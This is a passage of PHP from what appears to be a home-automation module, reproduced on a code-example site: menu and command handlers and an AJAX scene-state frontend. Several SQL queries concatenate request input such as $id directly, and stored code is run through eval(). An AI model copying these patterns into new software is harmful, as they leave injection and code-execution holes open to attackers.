                     sg($item['LINKED_OBJECT'] . '.' . $item['LINKED_PROPERTY'], $item['CUR_VALUE'], array($this->name => 'ID!=' . $item['ID']));
                 }
                 $params = array('VALUE' => $item['CUR_VALUE'], 'OLD_VALUE' => $old_value);
                 if ($item['ONCHANGE_METHOD'] != '') {
                     if (!$item['LINKED_OBJECT']) {
                         $item['LINKED_OBJECT'] = $item['ONCHANGE_OBJECT'];
                     }
                     getObject($item['LINKED_OBJECT'])->callMethod($item['ONCHANGE_METHOD'], $params);
                     //ONCHANGE_OBJECT
                     //DebMes("calling method ".$item['ONCHANGE_OBJECT'].".".$item['ONCHANGE_METHOD']." with ".$item['CUR_VALUE']);
                 }
                 if ($item['SCRIPT_ID']) {
                     //DebMes('Running on_change script #'.$item['SCRIPT_ID']);
                     runScript($item['SCRIPT_ID'], $params);
                 }
                 if ($item['CODE']) {
                     //DebMes("Running on_change code");
                     try {
                         $code = $item['CODE'];
                         $success = eval($code);
                         if ($success === false) {
                             DebMes("Error menu item code: " . $code);
                             registerError('menu_item', "Error menu item code: " . $code);
                         }
                     } catch (Exception $e) {
                         DebMes('Error: exception ' . get_class($e) . ', ' . $e->getMessage() . '.');
                         registerError('menu_item', get_class($e) . ', ' . $e->getMessage());
                     }
                 }
             }
             echo "OK";
         }
         exit;
     }
     if (isset($this->data_source) && !$_GET['data_source'] && !$_POST['data_source']) {
         $out['SET_DATASOURCE'] = 1;
     }
     if ($this->data_source == 'commands' || $this->data_source == '') {
         if ($this->view_mode == '' || $this->view_mode == 'search_commands') {
             startMeasure('searchCommands');
             $this->search_commands($out);
             endMeasure('searchCommands', 1);
         }
         if ($this->view_mode == 'moveup' && $this->id) {
             $this->reorder_items($this->id, 'up');
             $this->redirect("?");
         }
         if ($this->view_mode == 'movedown' && $this->id) {
             $this->reorder_items($this->id, 'down');
             $this->redirect("?");
         }
         if ($this->view_mode == 'edit_commands') {
             $this->edit_commands($out, $this->id);
         }
         if ($this->view_mode == 'clone_commands') {
             $rec = SQLSelectOne("SELECT * FROM commands WHERE ID='" . $this->id . "'");
             unset($rec['ID']);
             $rec['TITLE'] = $rec['TITLE'] . ' (copy)';
             $rec['ID'] = SQLInsert('commands', $rec);
             $this->redirect("?id=" . $rec['ID'] . "&view_mode=edit_commands");
         }
         if ($this->view_mode == 'delete_commands') {
             $this->delete_commands($this->id);
             $this->redirect("?");
         }
     }
 }
Esempio n. 30
0
 /**
 * FrontEnd
 *
 * Module frontend
 *
 * @access public
 */
 function usual(&$out)
 {
     global $ajax;
     if ($ajax) {
         global $op;
         header("HTTP/1.0: 200 OK\n");
         header('Content-Type: text/html; charset=utf-8');
         if ($op == 'checkAllStates') {
             $qry = "1";
             if (preg_match('/(\\d+)\\.html/', $_SERVER["REQUEST_URI"], $m)) {
                 $qry .= " AND scenes.ID='" . $m[1] . "'";
             }
             $states = SQLSelect("SELECT elm_states.ID, elm_states.TITLE, elm_states.HTML, elements.SCENE_ID, elm_states.SWITCH_SCENE, elements.TYPE FROM elm_states, elements WHERE elm_states.ELEMENT_ID=elements.ID AND {$qry}");
             $total = count($states);
             for ($i = 0; $i < $total; $i++) {
                 $states[$i]['STATE'] = $this->checkState($states[$i]['ID']);
                 if ($states[$i]['TYPE'] == 'html') {
                     $states[$i]['HTML'] = processTitle($states[$i]['HTML'], $this);
                 }
             }
             echo json_encode($states);
         }
         if ($op == 'click') {
             global $id;
             $state = SQLSelectOne("SELECT * FROM elm_states WHERE ID='" . $id . "'");
             $params = array('STATE' => $state['TITLE']);
             if ($state['ACTION_OBJECT'] && $state['ACTION_METHOD']) {
                 callMethod($state['ACTION_OBJECT'] . '.' . $state['ACTION_METHOD'], $params);
             }
             if ($state['SCRIPT_ID']) {
                 runScript($state['SCRIPT_ID'], $params);
             }
             echo "OK";
         }
         if ($op == 'position') {
             global $id;
             global $posx;
             global $posy;
             global $width;
             global $height;
             if ($id && $posx && $posy && $width && $height) {
                 $state = SQLSelectOne("SELECT * FROM elm_states WHERE ID='" . $id . "'");
                 $state['WINDOW_POSX'] = $posx;
                 $state['WINDOW_POSY'] = $posy;
                 $state['WINDOW_WIDTH'] = $width;
                 $state['WINDOW_HEIGHT'] = $height;
                 SQLUpdate('elm_states', $state);
             }
             //
             echo "OK";
         }
         exit;
     }
     $this->admin($out);
 }